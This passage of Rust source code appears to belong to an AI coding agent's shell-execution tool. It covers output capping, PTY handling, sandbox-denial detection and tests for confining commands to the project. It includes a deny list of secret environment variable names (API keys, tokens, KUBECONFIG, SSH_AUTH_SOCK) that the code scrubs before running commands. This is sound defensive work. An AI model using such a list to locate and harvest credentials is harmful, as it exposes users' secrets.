1282 !token.starts_with('-') && !token.contains('=')
1283}
1284
1285const SCRATCHPAD_ENV_VAR: &str = "MERMAID_SCRATCHPAD";
1288
1289fn export_scratchpad_env(cmd: &mut Command, scratchpad: Option<&Path>) {
1293 if let Some(dir) = scratchpad {
1294 cmd.env(SCRATCHPAD_ENV_VAR, dir);
1295 }
1296}
1297
1298fn tail_lines(text: &str, max_lines: usize) -> String {
1299 let lines: Vec<&str> = text.lines().collect();
1300 let start = lines.len().saturating_sub(max_lines);
1301 lines[start..].join("\n")
1302}
1303
1304fn first_url(text: &str) -> Option<String> {
1305 text.split_whitespace()
1306 .find(|part| part.starts_with("http://") || part.starts_with("https://"))
1307 .map(|url| {
1308 url.trim_matches(|c: char| matches!(c, ')' | ']' | '}' | ',' | ';' | '"' | '\''))
1309 .to_string()
1310 })
1311}
1312
1313fn all_urls(text: &str) -> Vec<String> {
1314 text.split_whitespace()
1315 .filter(|part| part.starts_with("http://") || part.starts_with("https://"))
1316 .map(|url| {
1317 url.trim_matches(|c: char| matches!(c, ')' | ']' | '}' | ',' | ';' | '"' | '\''))
1318 .to_string()
1319 })
1320 .collect()
1321}
1322
1323async fn open_browser_url(url: &str) -> Result<(), String> {
1324 super::web::require_http_scheme(url)?;
1328
1329 #[cfg(target_os = "macos")]
1330 let mut command = {
1331 let mut cmd = Command::new("open");
1332 cmd.arg(url);
1333 cmd
1334 };
1335
1336 #[cfg(target_os = "linux")]
1337 let mut command = {
1338 let mut cmd = Command::new("xdg-open");
1339 cmd.arg(url);
1340 cmd
1341 };
1342
1343 #[cfg(target_os = "windows")]
1344 let mut command = {
1345 let mut cmd = Command::new("rundll32");
1350 cmd.args(["url.dll,FileProtocolHandler", url]);
1351 cmd
1352 };
1353
1354 command
1355 .stdin(Stdio::null())
1356 .stdout(Stdio::null())
1357 .stderr(Stdio::null())
1358 .kill_on_drop(false)
1359 .spawn()
1360 .map(|_| ())
1361 .map_err(|e| e.to_string())
1362}
1363
1364#[derive(Debug, Clone)]
1369struct CommandRunOutput {
1370 output: String,
1371 exit_code: Option<i32>,
1372 signal: Option<i32>,
1376 stdout_lines: usize,
1377 stderr_lines: usize,
1378}
1379
1380enum CommandRunResult {
1385 Completed(CommandRunOutput),
1386 Detached { pid: u32, log_path: PathBuf },
1387 Cancelled,
1388 TimedOut,
1389}
1390
1391const SECRET_ENV_VARS: &[&str] = &[
1397 "ANTHROPIC_API_KEY",
1398 "OPENAI_API_KEY",
1399 "GEMINI_API_KEY",
1400 "GOOGLE_API_KEY",
1401 "OLLAMA_API_KEY",
1402 "GROQ_API_KEY",
1403 "MISTRAL_API_KEY",
1404 "DEEPSEEK_API_KEY",
1405 "OPENROUTER_API_KEY",
1406 "XAI_API_KEY",
1407 "TOGETHER_API_KEY",
1408 "MERMAID_DAEMON_TOKEN",
1409];
1410
1411fn harden_noninteractive_env(cmd: &mut Command) {
1418 cmd.env("GIT_TERMINAL_PROMPT", "0");
1419}
1420
1421fn scrub_secret_env(cmd: &mut Command) {
1426 for name in secret_env_names() {
1427 cmd.env_remove(&name);
1428 }
1429}
1430
1431fn secret_env_names() -> Vec<String> {
1435 std::env::vars()
1436 .map(|(name, _)| name)
1437 .filter(|name| is_secret_env_name(name))
1438 .collect()
1439}
1440
1441fn is_secret_env_name(name: &str) -> bool {
1445 let upper = name.to_ascii_uppercase();
1446 SECRET_ENV_VARS.contains(&upper.as_str())
1447 || upper.contains("API_KEY")
1448 || upper.contains("APIKEY")
1449 || upper.contains("ACCESS_KEY")
1450 || upper.contains("PRIVATE_KEY")
1451 || upper.contains("SECRET")
1452 || upper.contains("PASSWORD")
1453 || upper.contains("PASSWD")
1454 || upper.contains("CREDENTIAL")
1455 || upper.contains("TOKEN")
1456 || upper.contains("WEBHOOK")
1457 || upper.contains("DATABASE_URL")
1458 || upper.ends_with("_DSN")
1459 || upper.contains("CONNECTION_STRING")
1460 || upper == "KUBECONFIG"
1461 || upper == "SSH_AUTH_SOCK"
1462}
1463
1464const TEE_LOG_CAP_BYTES: usize = 64 * 1024 * 1024;
1473
1474struct CappedCapture {
1481 head_cap: usize,
1482 tail_cap: usize,
1483 head: Vec<u8>,
1484 tail: std::collections::VecDeque<u8>,
1485 total: usize,
1486}
1487
1488impl CappedCapture {
1489 fn new(cap: usize) -> Self {
1490 let head_cap = cap / 2;
1491 Self {
1492 head_cap,
1493 tail_cap: cap - head_cap,
1494 head: Vec::new(),
1495 tail: std::collections::VecDeque::new(),
1496 total: 0,
1497 }
1498 }
1499
1500 fn push(&mut self, mut chunk: &[u8]) {
1501 self.total += chunk.len();
1502 if self.head.len() < self.head_cap {
1505 let take = (self.head_cap - self.head.len()).min(chunk.len());
1506 self.head.extend_from_slice(&chunk[..take]);
1507 chunk = &chunk[take..];
1508 }
1509 if !chunk.is_empty() {
1510 self.tail.extend(chunk.iter().copied());
1511 while self.tail.len() > self.tail_cap {
1512 self.tail.pop_front();
1513 }
1514 }
1515 }
1516
1517 fn finish(self) -> (String, bool) {
1520 let truncated = self.total > self.head_cap + self.tail_cap;
1521 let tail_bytes: Vec<u8> = self.tail.into_iter().collect();
1522 let mut out = String::from_utf8_lossy(&self.head).into_owned();
1523 if truncated {
1524 let dropped = self.total - self.head.len() - tail_bytes.len();
1525 out.push_str(&format!("\n…[output truncated, {dropped} bytes elided]…\n"));
1526 }
1527 out.push_str(&String::from_utf8_lossy(&tail_bytes));
1528 (out, truncated)
1529 }
1530}
1531
1532async fn read_capped<R: AsyncRead + Unpin>(
1533 mut reader: R,
1534 cap: usize,
1535 log_cap: usize,
1536 progress: Option<tokio::sync::mpsc::Sender<ProgressEvent>>,
1537 log: Option<std::sync::Arc<tokio::sync::Mutex<tokio::fs::File>>>,
1538) -> (String, bool) {
1539 let mut buf = [0u8; 8192];
1540 let mut capture = CappedCapture::new(cap);
1541 let mut logged: usize = 0;
1542 let mut log_capped = false;
1543 loop {
1544 match reader.read(&mut buf).await {
1545 Ok(0) => break,
1546 Ok(n) => {
1547 if let Some(file) = &log
1552 && !log_capped
1553 {
1554 let mut f = file.lock().await;
1555 if logged + n <= log_cap {
1556 let _ = f.write_all(&buf[..n]).await;
1557 logged += n;
1558 } else {
1559 let remaining = log_cap - logged;
1560 let _ = f.write_all(&buf[..remaining]).await;
1561 let _ = f.write_all(b"\n...[log truncated]...\n").await;
1562 log_capped = true;
1563 }
1564 let _ = f.flush().await;
1565 }
1566 if let Some(tx) = &progress {
1567 let chunk = String::from_utf8_lossy(&buf[..n]);
1568 for line in chunk.split('\n') {
1569 if !line.is_empty() {
1570 let _ = tx.send(ProgressEvent::Output(line.to_string())).await;
1571 }
1572 }
1573 }
1574 capture.push(&buf[..n]);
1575 },
1576 Err(_) => break,
1577 }
1578 }
1579 capture.finish()
1580}
1581
1582fn strip_ansi(input: &str) -> String {
1591 let mut out = String::with_capacity(input.len());
1592 let mut chars = input.chars().peekable();
1593 while let Some(c) = chars.next() {
1594 match c {
1595 '\u{1b}' => match chars.next() {
1596 Some('[') => {
1598 for f in chars.by_ref() {
1599 if ('\u{40}'..='\u{7e}').contains(&f) {
1600 break;
1601 }
1602 }
1603 },
1604 Some(']') => {
1606 let mut prev_esc = false;
1607 for f in chars.by_ref() {
1608 if f == '\u{7}' || (prev_esc && f == '\\') {
1609 break;
1610 }
1611 prev_esc = f == '\u{1b}';
1612 }
1613 },
1614 Some('P' | 'X' | '^' | '_') => {
1619 let mut prev_esc = false;
1620 for f in chars.by_ref() {
1621 if prev_esc && f == '\\' {
1622 break;
1623 }
1624 prev_esc = f == '\u{1b}';
1625 }
1626 },
1627 Some(_) | None => {},
1630 },
1631 '\u{7}' => {},
1633 '\u{8}' => {
1636 if out.ends_with(|p: char| p != '\n') {
1637 out.pop();
1638 }
1639 },
1640 '\r' => {
1641 if chars.peek() == Some(&'\n') {
1642 chars.next();
1643 }
1644 out.push('\n');
1645 },
1646 _ => out.push(c),
1647 }
1648 }
1649 out
1650}
1651
1652async fn run_command(
1653 mut cmd: Command,
1654 progress: tokio::sync::mpsc::Sender<ProgressEvent>,
1655 token: tokio_util::sync::CancellationToken,
1656 background: tokio_util::sync::CancellationToken,
1657 timeout: Duration,
1658) -> std::io::Result<CommandRunResult> {
1659 let mut child = cmd.spawn()?;
1660 let pid = child.id();
1661
1662 let stdout = child
1663 .stdout
1664 .take()
1665 .ok_or_else(|| std::io::Error::other("child stdout unavailable"))?;
1666 let stderr = child
1667 .stderr
1668 .take()
1669 .ok_or_else(|| std::io::Error::other("child stderr unavailable"))?;
1670
1671 let log_path = background_log_path();
1675 let log =
1676 create_tee_log_blocking(&log_path).map(|f| std::sync::Arc::new(tokio::sync::Mutex::new(f)));
1677
1678 let cap = crate::constants::MAX_TOOL_OUTPUT_BYTES;
1679 let stdout_task = tokio::spawn(read_capped(
1680 stdout,
1681 cap,
1682 TEE_LOG_CAP_BYTES,
1683 Some(progress.clone()),
1684 log.clone(),
1685 ));
1686 let stderr_task = tokio::spawn(read_capped(
1687 stderr,
1688 cap,
1689 TEE_LOG_CAP_BYTES,
1690 None,
1691 log.clone(),
1692 ));
1693
1694 let (done_tx, done_rx) = tokio::sync::oneshot::channel();
1699 let driver = tokio::spawn(async move {
1700 let (output, _) = stdout_task.await.unwrap_or_default();
1701 let (errors, _) = stderr_task.await.unwrap_or_default();
1702 let status = child.wait().await;
1703 let _ = done_tx.send((output, errors, status));
1704 });
1705
1706 let timeout_fut = tokio::time::sleep(timeout);
1707
1708 tokio::select! {
1709 biased;
1710 _ = background.cancelled() => {
1711 match pid {
1712 Some(pid) => {
1716 drop(driver);
1717 Ok(CommandRunResult::Detached { pid, log_path })
1718 }
1719 None => {
1724 driver.abort();
1725 let _ = tokio::fs::remove_file(&log_path).await;
1726 Ok(CommandRunResult::Cancelled)
1727 }
1728 }
1729 }
1730 _ = token.cancelled() => {
1731 if let Some(p) = pid {
1735 crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
1736 }
1737 driver.abort();
1745 let _ = tokio::fs::remove_file(&log_path).await;
1746 Ok(CommandRunResult::Cancelled)
1747 }
1748 res = done_rx => {
1749 drop(log);
1751 let _ = tokio::fs::remove_file(&log_path).await;
1752 let (output, errors, status) = res
1753 .map_err(|_| std::io::Error::other("command driver dropped before completing"))?;
1754 let status = status?;
1755 let stdout_lines = output.lines().count();
1756 let stderr_lines = errors.lines().count();
1757 let mut full_output = output;
1758 if !errors.is_empty() {
1759 full_output.push_str("\n--- stderr ---\n");
1760 full_output.push_str(&errors);
1761 }
1762 if !status.success() {
1763 full_output.push_str(&format!(
1764 "\n--- Command exited with status: {} ---",
1765 status.code().unwrap_or(-1)
1766 ));
1767 }
1768 #[cfg(unix)]
1772 let signal = {
1773 use std::os::unix::process::ExitStatusExt;
1774 status.signal()
1775 };
1776 #[cfg(not(unix))]
1777 let signal = None;
1778 Ok(CommandRunResult::Completed(CommandRunOutput {
1779 output: full_output,
1780 exit_code: status.code(),
1781 signal,
1782 stdout_lines,
1783 stderr_lines,
1784 }))
1785 }
1786 _ = timeout_fut => {
1787 if let Some(p) = pid {
1793 crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
1794 }
1795 driver.abort();
1796 let _ = tokio::fs::remove_file(&log_path).await;
1797 Ok(CommandRunResult::TimedOut)
1798 }
1799 }
1800}
1801
1802struct PtyDrain {
1806 capture: CappedCapture,
1807 log: Option<std::sync::Arc<tokio::sync::Mutex<tokio::fs::File>>>,
1808 logged: usize,
1809 log_capped: bool,
1810 line_buf: String,
1811 progress: tokio::sync::mpsc::Sender<ProgressEvent>,
1812}
1813
1814impl PtyDrain {
1815 async fn push(&mut self, chunk: &[u8]) {
1816 if let Some(file) = &self.log
1819 && !self.log_capped
1820 {
1821 let mut f = file.lock().await;
1822 if self.logged + chunk.len() <= TEE_LOG_CAP_BYTES {
1823 let _ = f.write_all(chunk).await;
1824 self.logged += chunk.len();
1825 } else {
1826 let remaining = TEE_LOG_CAP_BYTES - self.logged;
1827 let _ = f.write_all(&chunk[..remaining]).await;
1828 let _ = f.write_all(b"\n...[log truncated]...\n").await;
1829 self.log_capped = true;
1830 }
1831 let _ = f.flush().await;
1832 }
1833 self.line_buf
1836 .push_str(&strip_ansi(&String::from_utf8_lossy(chunk)));
1837 while let Some(i) = self.line_buf.find('\n') {
1838 let line: String = self.line_buf.drain(..=i).collect();
1839 let line = line.trim_end();
1840 if !line.is_empty() {
1841 let _ = self
1842 .progress
1843 .send(ProgressEvent::Output(line.to_string()))
1844 .await;
1845 }
1846 }
1847 self.capture.push(chunk);
1849 }
1850}
1851
1852async fn run_command_pty(
1876 invocation: &ShellInvocation,
1877 workdir: &Path,
1878 scratchpad: Option<&Path>,
1879 progress: tokio::sync::mpsc::Sender<ProgressEvent>,
1880 token: tokio_util::sync::CancellationToken,
1881 background: tokio_util::sync::CancellationToken,
1882 timeout: Duration,
1883) -> std::io::Result<CommandRunResult> {
1884 use portable_pty::{CommandBuilder, PtySize, native_pty_system};
1885
1886 let pty = native_pty_system();
1887 let pair = pty
1888 .openpty(PtySize {
1889 rows: 24,
1890 cols: 80,
1891 pixel_width: 0,
1892 pixel_height: 0,
1893 })
1894 .map_err(std::io::Error::other)?;
1895 let mut reader = pair
1898 .master
1899 .try_clone_reader()
1900 .map_err(std::io::Error::other)?;
1901
1902 #[cfg(windows)]
1911 let writer = {
1912 use std::io::Write as _;
1913 let mut writer = pair.master.take_writer().map_err(std::io::Error::other)?;
1914 writer.write_all(b"\x1b[1;1R")?;
1915 writer
1916 };
1917
1918 let mut builder = CommandBuilder::new(&invocation.program);
1919 builder.args(&invocation.args);
1920 builder.cwd(workdir);
1921 for name in secret_env_names() {
1922 builder.env_remove(name);
1923 }
1924 builder.env("GIT_TERMINAL_PROMPT", "0");
1927 builder.env("TERM", "xterm-256color");
1928 if let Some(dir) = scratchpad {
1931 builder.env(SCRATCHPAD_ENV_VAR, dir);
1932 }
1933
1934 let mut child = pair
1935 .slave
1936 .spawn_command(builder)
1937 .map_err(std::io::Error::other)?;
1938 drop(pair.slave);
1940 let pid = child.process_id();
1941 let master = pair.master;
1942
1943 let log_path = background_log_path();
1944 let log =
1945 create_tee_log_blocking(&log_path).map(|f| std::sync::Arc::new(tokio::sync::Mutex::new(f)));
1946
1947 let (chunk_tx, mut chunk_rx) = tokio::sync::mpsc::channel::<Vec<u8>>(32);
1949 let reader_thread = tokio::task::spawn_blocking(move || {
1950 let mut buf = [0u8; 8192];
1951 loop {
1952 match reader.read(&mut buf) {
1953 Ok(0) | Err(_) => break,
1954 Ok(n) => {
1955 if chunk_tx.blocking_send(buf[..n].to_vec()).is_err() {
1956 break;
1957 }
1958 },
1959 }
1960 }
1961 });
1962
1963 let drain = tokio::spawn(async move {
1964 let mut drain = PtyDrain {
1965 capture: CappedCapture::new(crate::constants::MAX_TOOL_OUTPUT_BYTES),
1966 log,
1967 logged: 0,
1968 log_capped: false,
1969 line_buf: String::new(),
1970 progress,
1971 };
1972 while let Some(chunk) = chunk_rx.recv().await {
1973 drain.push(&chunk).await;
1974 }
1975 drain.capture.finish()
1976 });
1977
1978 let (done_tx, done_rx) = tokio::sync::oneshot::channel();
1988 let driver = tokio::spawn(async move {
1989 let status = tokio::task::spawn_blocking(move || {
1990 let status = child.wait();
1991 #[cfg(windows)]
1994 drop(writer);
1995 drop(master);
1996 status
1997 })
1998 .await;
1999 let (output, truncated) = drain.await.unwrap_or_default();
2000 let _ = reader_thread.await;
2001 let _ = done_tx.send((output, truncated, status));
2002 });
2003
2004 let timeout_fut = tokio::time::sleep(timeout);
2005
2006 tokio::select! {
2007 biased;
2008 _ = background.cancelled() => {
2009 match pid {
2010 Some(pid) => {
2014 drop(driver);
2015 Ok(CommandRunResult::Detached { pid, log_path })
2016 },
2017 None => {
2018 driver.abort();
2019 let _ = tokio::fs::remove_file(&log_path).await;
2020 Ok(CommandRunResult::Cancelled)
2021 },
2022 }
2023 }
2024 _ = token.cancelled() => {
2025 if let Some(p) = pid {
2034 crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
2035 }
2036 driver.abort();
2037 let _ = tokio::fs::remove_file(&log_path).await;
2038 Ok(CommandRunResult::Cancelled)
2039 }
2040 res = done_rx => {
2041 let _ = tokio::fs::remove_file(&log_path).await;
2042 let (raw, _truncated, status) = res
2043 .map_err(|_| std::io::Error::other("pty driver dropped before completing"))?;
2044 let status = status
2045 .map_err(|e| std::io::Error::other(format!("pty waiter panicked: {e}")))?
2046 .map_err(std::io::Error::other)?;
2047 let mut output = strip_ansi(&raw);
2050 let (exit_code, signal) = match status.signal() {
2057 Some(name) if name.eq_ignore_ascii_case("bad system call") => {
2058 (None, Some(SANDBOX_KILL_SIGNAL))
2059 },
2060 Some(_) => (None, None),
2061 None => (Some(status.exit_code() as i32), None),
2062 };
2063 if !status.success() {
2064 output.push_str(&format!(
2065 "\n--- Command exited with status: {} ---",
2066 exit_code.unwrap_or(-1)
2067 ));
2068 }
2069 let stdout_lines = output.lines().count();
2070 Ok(CommandRunResult::Completed(CommandRunOutput {
2071 output,
2072 exit_code,
2073 signal,
2074 stdout_lines,
2076 stderr_lines: 0,
2077 }))
2078 }
2079 _ = timeout_fut => {
2080 if let Some(p) = pid {
2081 crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
2082 }
2083 driver.abort();
2084 let _ = tokio::fs::remove_file(&log_path).await;
2085 Ok(CommandRunResult::TimedOut)
2086 }
2087 }
2088}
2089
2090fn contains_dangerous_command(command: &str) -> bool {
2099 crate::runtime::is_destructive_command(command)
2100}
2101
2102#[cfg(test)]
2103mod tests {
2104 use super::*;
2105 use crate::domain::{ToolCallId, TurnId};
2106 use crate::providers::ctx::test_exec_context;
2107 use std::path::PathBuf;
2108
2109 #[test]
2110 fn network_denial_detects_sigsys_and_reaped_child_exit() {
2111 let out = |exit: Option<i32>, signal: Option<i32>| CommandRunOutput {
2112 output: String::new(),
2113 exit_code: exit,
2114 signal,
2115 stdout_lines: 0,
2116 stderr_lines: 0,
2117 };
2118 assert!(is_sigsys_denial(&out(None, Some(31))));
2120 assert!(is_sigsys_denial(&out(Some(159), None)));
2122 assert!(!is_sigsys_denial(&out(Some(1), None)));
2124 assert!(!is_sigsys_denial(&out(Some(0), None)));
2125 assert!(!is_sigsys_denial(&out(None, Some(11)))); }
2127
2128 #[test]
2129 fn detect_denial_gates_on_active_policies() {
2130 let out = |exit: Option<i32>, signal: Option<i32>, output: &str| CommandRunOutput {
2131 output: output.to_string(),
2132 exit_code: exit,
2133 signal,
2134 stdout_lines: 0,
2135 stderr_lines: 0,
2136 };
2137 assert_eq!(
2140 detect_denial(&out(Some(159), None, "Permission denied"), false, false),
2141 None
2142 );
2143 assert_eq!(detect_denial(&out(None, Some(31), ""), false, false), None);
2144 assert_eq!(detect_denial(&out(Some(0), None, ""), true, true), None);
2146 #[cfg(target_os = "linux")]
2147 {
2148 assert_eq!(
2151 detect_denial(&out(None, Some(31), ""), true, true),
2152 Some(DenialKind::Network)
2153 );
2154 assert_eq!(
2155 detect_denial(&out(Some(1), None, "Permission denied"), false, true),
2156 Some(DenialKind::Filesystem)
2157 );
2158 assert_eq!(
2161 detect_denial(&out(Some(1), None, "Permission denied"), true, false),
2162 None
2163 );
2164 }
2165 #[cfg(target_os = "macos")]
2166 {
2167 let eperm = out(Some(1), None, "curl: Operation not permitted");
2169 assert_eq!(
2170 detect_denial(&eperm, true, false),
2171 Some(DenialKind::Network)
2172 );
2173 assert_eq!(
2174 detect_denial(&eperm, false, true),
2175 Some(DenialKind::Filesystem)
2176 );
2177 assert_eq!(
2178 detect_denial(&eperm, true, true),
2179 Some(DenialKind::Ambiguous)
2180 );
2181 }
2182 }
2183
2184 #[test]
2185 fn fs_denial_requires_failure_and_permission_signature() {
2186 let out = |exit: Option<i32>, output: &str| CommandRunOutput {
2187 output: output.to_string(),
2188 exit_code: exit,
2189 signal: None,
2190 stdout_lines: 0,
2191 stderr_lines: 0,
2192 };
2193 assert!(is_permission_denial(&out(
2195 Some(1),
2196 "sh: line 1: /etc/nope: Permission denied"
2197 )));
2198 assert!(is_permission_denial(&out(
2199 Some(2),
2200 "touch: Operation not permitted"
2201 )));
2202 assert!(!is_permission_denial(&out(
2204 Some(0),
2205 "grep found: Permission denied"
2206 )));
2207 assert!(!is_permission_denial(&out(Some(1), "some other failure")));
2209 assert!(!is_permission_denial(&out(None, "Permission denied")));
2210 }
2211
2212 #[test]
2213 fn sandboxed_shell_wraps_only_when_requested() {
2214 let plain = build_sandboxed_shell("echo hi", false, None);
2215 let plain_prog = plain.as_std().get_program().to_string_lossy().into_owned();
2216 assert!(
2217 ["sh", "pwsh", "powershell"].contains(&plain_prog.as_str()),
2218 "plain shell program: {plain_prog}"
2219 );
2220
2221 let wrapped = build_sandboxed_shell("echo hi", true, None);
2222 let args: Vec<String> = wrapped
2223 .as_std()
2224 .get_args()
2225 .map(|a| a.to_string_lossy().into_owned())
2226 .collect();
2227 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
2228 assert!(args.contains(&"--no-network".to_string()));
2229 assert!(!args.contains(&"--confine-writes".to_string()));
2230 assert!(args.contains(&"sh".to_string()));
2231 }
2232
2233 #[test]
2234 fn sandboxed_shell_passes_confine_writes_dirs() {
2235 let dirs = vec![PathBuf::from("/proj"), PathBuf::from("/dev")];
2236 let wrapped = build_sandboxed_shell("echo hi", false, Some(&dirs));
2237 let args: Vec<String> = wrapped
2238 .as_std()
2239 .get_args()
2240 .map(|a| a.to_string_lossy().into_owned())
2241 .collect();
2242 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
2243 assert!(!args.contains(&"--no-network".to_string()));
2244 assert_eq!(
2246 args.iter().filter(|a| *a == "--confine-writes").count(),
2247 2,
2248 "args: {args:?}"
2249 );
2250 assert!(args.contains(&"/proj".to_string()));
2251 assert!(args.contains(&"/dev".to_string()));
2252 }
2253
2254 #[test]
2255 fn powershell_wrap_carries_stop_pref_and_exit_code_trailer() {
2256 let wrapped = powershell_wrap("cargo build");
2257 assert!(wrapped.starts_with("$ErrorActionPreference='Stop'\n"));
2258 assert!(wrapped.contains("cargo build"));
2259 assert!(wrapped.ends_with("{ exit $LASTEXITCODE }"));
2260 }
2261
2262 #[cfg(target_os = "windows")]
2263 #[test]
2264 fn windows_shell_invocation_is_powershell() {
2265 let inv = shell_invocation("echo hi", false, None);
2266 let prog = inv.program.to_string_lossy().into_owned();
2267 assert!(prog == "pwsh" || prog == "powershell", "program: {prog}");
2268 let args: Vec<String> = inv
2269 .args
2270 .iter()
2271 .map(|a| a.to_string_lossy().into_owned())
2272 .collect();
2273 assert_eq!(&args[..3], ["-NoProfile", "-NonInteractive", "-Command"]);
2274 assert!(args[3].contains("echo hi"), "args: {args:?}");
2275 }
2276
2277 #[cfg(target_os = "windows")]
2281 #[tokio::test]
2282 async fn windows_native_exit_code_propagates() {
2283 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2284 let outcome = ExecuteCommandTool
2285 .execute(serde_json::json!({"command": "cmd /c exit 7"}), ctx)
2286 .await;
2287 match &outcome.metadata.detail {
2288 crate::domain::ToolMetadata::ExecuteCommand { exit_code, .. } => {
2289 assert_eq!(*exit_code, Some(7), "outcome: {outcome:?}");
2290 },
2291 other => panic!("unexpected metadata: {other:?}"),
2292 }
2293 }
2294
2295 #[cfg(target_os = "windows")]
2297 #[tokio::test]
2298 async fn windows_powershell_syntax_works() {
2299 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2300 let outcome = ExecuteCommandTool
2301 .execute(
2302 serde_json::json!({"command": "Write-Output ('mermaid-' + 'ps')"}),
2303 ctx,
2304 )
2305 .await;
2306 assert!(outcome.is_success(), "outcome: {outcome:?}");
2307 assert!(
2308 outcome.output().contains("mermaid-ps"),
2309 "output: {}",
2310 outcome.output()
2311 );
2312 }
2313
2314 #[tokio::test]
2315 async fn tee_log_is_capped() {
2316 let dir = std::env::temp_dir().join(format!("mermaid_teelog_{}", std::process::id()));
2320 let _ = std::fs::create_dir_all(&dir);
2321 let path = dir.join("log.txt");
2322 let file = tokio::fs::File::create(&path).await.unwrap();
2323 let log = std::sync::Arc::new(tokio::sync::Mutex::new(file));
2324 let data = vec![b'x'; 4000];
2326 let _ = read_capped(&data[..], 1_000_000, 16, None, Some(log)).await;
2327 let written = std::fs::read(&path).unwrap();
2328 assert!(
2329 written.len() < 200,
2330 "log must be capped near 16 bytes + marker, got {}",
2331 written.len()
2332 );
2333 assert!(String::from_utf8_lossy(&written).contains("log truncated"));
2334 let _ = std::fs::remove_dir_all(&dir);
2335 }
2336
2337 #[cfg(unix)]
2338 #[test]
2339 fn tee_log_created_owner_only_and_refuses_existing() {
2340 use std::os::unix::fs::PermissionsExt;
2345 let dir = std::env::temp_dir().join(format!("mermaid_loghard_{}", std::process::id()));
2346 let _ = std::fs::create_dir_all(&dir);
2347 let path = dir.join("bg.log");
2348 let _ = std::fs::remove_file(&path);
2349
2350 let file = create_log_file_blocking(&path).expect("first create succeeds");
2351 drop(file);
2352 let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
2353 assert_eq!(mode, 0o600, "tee log must be owner-only, got {mode:o}");
2354
2355 assert!(
2358 create_log_file_blocking(&path).is_err(),
2359 "O_EXCL must refuse an existing path"
2360 );
2361 let _ = std::fs::remove_dir_all(&dir);
2362 }
2363
2364 #[test]
2365 fn secret_env_name_denylist_covers_common_carriers() {
2366 for name in [
2368 "ANTHROPIC_API_KEY",
2369 "AWS_SECRET_ACCESS_KEY",
2370 "GITHUB_TOKEN",
2371 "MY_SERVICE_PRIVATE_KEY",
2372 "DATABASE_URL",
2373 "SENTRY_DSN",
2374 "SLACK_WEBHOOK_URL",
2375 "KUBECONFIG",
2376 "SSH_AUTH_SOCK",
2377 "DB_PASSWORD",
2378 "PG_CONNECTION_STRING",
2379 ] {
2380 assert!(is_secret_env_name(name), "{name} should be scrubbed");
2381 }
2382 for name in [
2384 "PATH",
2385 "HOME",
2386 "CARGO_HOME",
2387 "LANG",
2388 "XAUTHORITY",
2389 "RUSTUP_HOME",
2390 ] {
2391 assert!(!is_secret_env_name(name), "{name} should NOT be scrubbed");
2392 }
2393 }
2394
2395 #[tokio::test]
2396 async fn out_of_project_working_dir_is_escalated_and_blocked() {
2397 let project = std::env::temp_dir().join(format!("mermaid_wd_{}", std::process::id()));
2402 let _ = std::fs::remove_dir_all(&project);
2403 std::fs::create_dir_all(&project).unwrap();
2404 let outside = project.parent().unwrap().to_path_buf();
2405
2406 let mk_ctx = || {
2407 let (tx, rx) = tokio::sync::mpsc::channel(64);
2408 let mut config = crate::app::Config::default();
2409 config.safety.mode = crate::runtime::SafetyMode::ReadOnly;
2410 let ctx = crate::providers::ctx::ExecContext::new(
2411 tokio_util::sync::CancellationToken::new(),
2412 tx,
2413 ToolCallId(1),
2414 TurnId(1),
2415 project.clone(),
2416 std::sync::Arc::new(config),
2417 String::new(),
2418 None,
2419 None,
2420 None,
2421 crate::runtime::SafetyMode::ReadOnly,
2422 None,
2423 None,
2424 None,
2425 None,
2426 None,
2427 );
2428 (ctx, rx)
2429 };
2430
2431 let (ctx, _rx) = mk_ctx();
2432 let outcome = ExecuteCommandTool
2433 .execute(serde_json::json!({"command": "echo hi"}), ctx)
2434 .await;
2435 assert!(
2436 outcome.is_success(),
2437 "in-project read-only echo should run: {outcome:?}",
2438 );
2439
2440 let (ctx, _rx) = mk_ctx();
2441 let outcome = ExecuteCommandTool
2442 .execute(
2443 serde_json::json!({
2444 "command": "echo hi",
2445 "working_dir": outside.display().to_string(),
2446 }),
2447 ctx,
2448 )
2449 .await;
2450 assert_eq!(
2451 outcome.status,
2452 crate::domain::ToolStatus::Error,
2453 "out-of-project working_dir must be escalated + blocked: {outcome:?}",
2454 );
2455
2456 let _ = std::fs::remove_dir_all(&project);
2457 }
2458
2459 #[tokio::test]
2465 async fn plan_write_carve_out_respects_the_effective_working_dir() {
2466 let project = std::env::temp_dir().join(format!("mermaid_planwd_{}", std::process::id()));
2467 let _ = std::fs::remove_dir_all(&project);
2468 std::fs::create_dir_all(project.join(".mermaid/plans")).unwrap();
2469 std::fs::create_dir_all(project.join("sub")).unwrap();
2472 let plan_file = project.join(".mermaid/plans/x.md");
2473
2474 let mk_ctx = || {
2475 let (tx, rx) = tokio::sync::mpsc::channel(64);
2476 let mut config = crate::app::Config::default();
2477 config.safety.mode = crate::runtime::SafetyMode::ReadOnly;
2478 config.safety.checkpoint_on_mutation = false;
2479 let mut ctx = crate::providers::ctx::ExecContext::new(
2480 tokio_util::sync::CancellationToken::new(),
2481 tx,
2482 ToolCallId(1),
2483 TurnId(1),
2484 project.clone(),
2485 std::sync::Arc::new(config),
2486 String::new(),
2487 None,
2488 None,
2489 None,
2490 crate::runtime::SafetyMode::ReadOnly,
2491 None,
2492 None,
2493 None,
2494 None,
2495 None,
2496 );
2497 ctx.plan_file = Some(plan_file.clone());
2498 (ctx, rx)
2499 };
2500
2501 let (ctx, _rx) = mk_ctx();
2504 let outcome = ExecuteCommandTool
2505 .execute(
2506 serde_json::json!({"command": "echo plan > .mermaid/plans/x.md"}),
2507 ctx,
2508 )
2509 .await;
2510 assert!(
2511 outcome.is_success(),
2512 "plan write must be allowed: {outcome:?}"
2513 );
2514 assert!(
2515 plan_file.exists(),
2516 "the plan file is the file that got written"
2517 );
2518
2519 let (ctx, _rx) = mk_ctx();
2523 let outcome = ExecuteCommandTool
2524 .execute(
2525 serde_json::json!({
2526 "command": "echo elsewhere > .mermaid/plans/x.md",
2527 "working_dir": project.join("sub").display().to_string(),
2528 }),
2529 ctx,
2530 )
